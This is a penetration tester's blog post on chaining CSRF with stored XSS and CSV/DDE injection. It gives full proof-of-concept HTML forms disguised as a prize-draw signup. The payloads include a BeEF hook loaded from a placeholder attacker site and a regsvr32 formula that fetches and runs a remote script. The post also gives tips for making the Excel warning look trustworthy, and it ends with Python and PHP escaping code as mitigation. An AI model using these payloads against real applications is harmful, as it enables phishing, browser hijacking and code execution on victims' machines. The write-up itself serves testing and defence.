Delivering Many a Payload via CSRF
CSRF Is still an issue in 2018, with some interesting payload delivery methods. Chaining vulns and some more on CSV Injection too!
It's been a while since I've written a blog post however I do have several posts in drafts, that need to be finished. I found this attack(although nothing new and revolutionary) pretty interesting and wanted to share it.
Cross Site Request Forgery(CSRF) is nothing new in the world of web application penetration testing. Actually if anything it's a growing old issue that has been removed from the OWASP Top 10; The reason given that 'more frameworks offering secure-by-default settings and some form of protections'. However this does not mean that it is no longer an issue!
For those who haven't heard of CSRF here's a short description taken from OWASP:
Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. With a little help of social engineering such as phishing or similar, an attacker may trick the users of a web application into executing actions of the attacker's choosing.
If the victim is a normal user, a successful CSRF attack can force the user to perform information changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.
In a web application assessment, I conducted recently I found that it was possible to leverage CSRF to deliver a wide variety of payloads to end users. The most common used by attackers would be leveraging cross-site scripting to attack users however by leveraging other issues within the application I was able to deliver:
- Persistent Cross Site Scripting (XSS)
- CSV Injection (CSVi)
- CSV Injection to Reflected Cross Site Scripting (XSS)
While none of these are super leet attack methods, the following subsections explain how this was possible and how the attach was generated and delivered. I will also include a full PoC for each of the scenarios.
CSRF Payload Delivery
I identified within the target application that it was possible to deliver all of the payloads above through a simple CSRF PoC, with most CSRF a social engineering scenario is common. Here I have a sign up to win form:
In a real scenario this would be alot more convincing, likely with images and other enticing features, however as this is a PoC a simple form with some details will suffice. So the base page looks similar to that shown below:
<html>
<body>
<h1>Enter Your Email to Win an iPhone X</h1>
<br>
<input></input>
<script>history.pushState('', '', '/')</script>
<form action="https://targetApp" method="POST">
<input type="hidden" name="reg_email__" value="attacker@attacker.com" />
<input type="hidden" name="firstname" value="a" />
<input type="hidden" name="lastname" value="a" />
<input type="submit" value="Enter Competition" />
</form>
</body>
</html>
To explain the request, the first section with H1 & input are not actually doing anything, the real payload is within the hidden input forms. This is where the CSRF is occurring, an attacker can make these values anything. Typically with payload delivery an attacker could set these values to payload values. In the case of XSS setting either of the name values to <script>alert(document.domain)</script> would pop an alert box with the domain name in it.
However this value can contain anything, in a more malicious environment an attacker could look to hook a victim's browser by leveraging the browser exploitation framework (BEef). Making the malicious form look something like this:
<html>
<body>
<h1>Enter Your Email to Win an iPhone X</h1>
<br>
<input></input>
<script>history.pushState('', '', '/')</script>
<form action="https://targetApp" method="POST">
<input type="hidden" name="reg_email__" value="attacker@attacker.com" />
<input type="hidden" name="firstname" value="<script src='https://attackersite/beef.js'></script>" />
<input type="hidden" name="lastname" value="a" />
<input type="submit" value="Enter Competition" />
</form>
</body>
</html>
Notice the firstname field is where the payload has been injected above, when the form is submitted a request would be made to the attacker's server and all going well the victim's browser would be hooked using JavaScript to enable further exploitation.
This attack payload would work for delivering both persistent and reflective cross site scripting, depending on the functionality of the application.
CSV Injection/DDE Injection
Similar to the XSS payload delivery, other payload values can be delivered within the fields, in the case of this target app there was a feature which enabled you to export users' details, including name & email address, two forms of data that us as an attacker can control via CSRF.
<html>
<body>
<h1>Enter Your Email to Win an iPhone X</h1>
<br>
<input></input>
<script>history.pushState('', '', '/')</script>
<form action="https://targetApp" method="POST">
<input type="hidden" name="reg_email__" value="attacker@attacker.com" />
<input type="hidden" name="firstname" value="=cmd|'/c calc'!A0" />
<input type="hidden" name="lastname" value="a" />
<input type="submit" value="Enter Competition" />
</form>
</body>
</html>
So enter the contraversial CSV Injection or Local Code Execution(LCE) as it has been referred to in the past. Many people blame the attack on Excel not sanatising characters and whilst this is true, applications can also take steps to effectively not allow someone's name to be =cmd|'/c calc'!A0. Similarly to CSV Injection, other attacks could include DDE injection which follows the same attack path by injecting arbritary characters into fields that are later exported and executed potentially, such as cmd!”/c notepad”!A0 {DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" } which will load a DDE payload into the CSV or XLS file at the point of export.
Last time I checked there aren't any names that have or require the curley bracket or pipe characters!
Now calc was used as a benign payload to demonstrate this is possible however if an attacker wanted to further weaponise this, leveraging some DLL registering would be a good way of going about it:
=MSEXCEL|'\..\..\..\Windows\System32\regsvr32 /s /n /u /i:http://attackersite/SCTLauncher.sct pewpew.dll'!A0”
Some users may become suspicious at seeing a CMD.EXE or SHELL.EXE requesting to run and therefore will not click through. The CMD.EXE or SHELL.EXE can be a red flag that something malicious is going on. So to counteract this a more stealthy approach can be taken so that the second popup warning box shows a much more trustworthy MSEXCEL.EXE instead of showing CMD.EXE or SHELL.EXE.
By changing the CSV Injection payload a little this attack method can also be leveraged to deliver Reflected XSS via CSV Injection via Cross Site Request Forgery!
By leveraging a payload similar to =MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c start http://targetapp.cxm/?vuln=<script>alert(1)</script>'!” an attacker can deliver an XSS payload. So back to the CSRF example again:
<html>
<body>
<h1>Enter Your Email to Win an iPhone X</h1>
<br>
<input></input>
<script>history.pushState('', '', '/')</script>
<form action="https://targetApp" method="POST">
<input type="hidden" name="reg_email__" value="attacker@attacker.com" />
<input type="hidden" name="firstname" value="=MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c start http://targetapp.cxm/?vuln=<script>alert(1)</script>'!”" />
<input type="hidden" name="lastname" value="a" />
<input type="submit" value="Enter Competition" />
</form>
</body>
</html>
Now sure, you can deliver XSS directly via the CSRF however who doesn't like complex madness! Granted this is a very elaborate way to deliver cross site scripting, it proves that it is possible! The error produced by the application would end up looking similar to:
Now most users won't bat an eyelid at an error message from a source they trust however for the few that do. This error message is simply telling them excel wants to launch excel, so there's not much untoward happening here...
So what have we learned? Well CSRF, although it is an older payload method, it is still an issue in 2018! There are many different attacks that can be facilitated via CSRF and not just the conventional ones like changing details. Finally when you can, try to deliver fuller proofs of concept to your clients, it highlights the risks to them and will give them a clearer picture than just alert(1).
We've also learned some more cool things that can be done with CSV/DDE Injection, keep playing around with it. Just because google don't accept it on their bug bounty it does not mean it's not an issue! My other post about CSV Injection has some patches that can be applied to code to attempt to mirigate these issues however here's a snippet:
A quick and dirty proof of concept however can be adopted easily to escape the CSV Injection payloads:
Python
def escape(payload):
if payload[0] in ('@','+','-', '=', '|', '%'):
payload = payload.replace("|", "\|")
payload = "'" + payload + "'"
return payload
PHP
public static function escape_csv( $payload ) {
$triggers = array( '=', '+', '-', '@', '|', '%');
if ( in_array( mb_substr( $payload, 0, 1 ), $triggers, true ) ) {
$payload = "'" . $payload . "'";
}
return $payload;
}
From the code snippets above it can be seen that if a payload string contains any of the blacklisted characters the attack is escaped. Notice from the output it can be seen that the escaped version has a set of ' around the user string and the pipe character has also been escaped. It should be noted that the issues described above are only one type of CSV injection attack, this mitigation does not cover information theft attacks that can be carried out using same technique but different payloads.
